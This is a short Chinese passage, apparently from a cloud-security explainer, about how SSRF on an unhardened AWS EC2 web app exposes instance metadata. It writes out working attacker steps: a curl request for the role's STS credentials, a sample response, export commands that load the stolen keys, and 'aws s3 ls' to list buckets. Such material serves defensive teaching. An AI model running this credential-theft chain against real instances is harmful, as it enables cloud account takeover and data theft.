当部署在 AWS EC2 上的 Web 应用存在 SSRF 漏洞且未加固时,攻击者可远程读取元数据地址提取临时角色的 AccessKeyId、SecretAccessKey 和 Token,进而利用 CLI 横向渗透接管云资产。
一、攻击者提取 STS 凭据示例
bash
# 攻击者通过 SSRF 获取临时 STS Token
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/WebServerRole
# 响应载荷:
# {
# "AccessKeyId" : "ASIA...",
# "SecretAccessKey" : "wJalrXUtn...",
# "Token" : "AQoDYXdz...",
# "Expiration" : "2026-11-01T12:00:00Z"
# }
# 攻击者本地配置环境变量进行 API 调用
export AWS_ACCESS_KEY_ID="ASIA..."
export AWS_SECRET_ACCESS_KEY="wJalrXUtn..."
export AWS_SESSION_TOKEN="AQoDYXdz..."
aws s3 ls # 获取敏感存储桶资产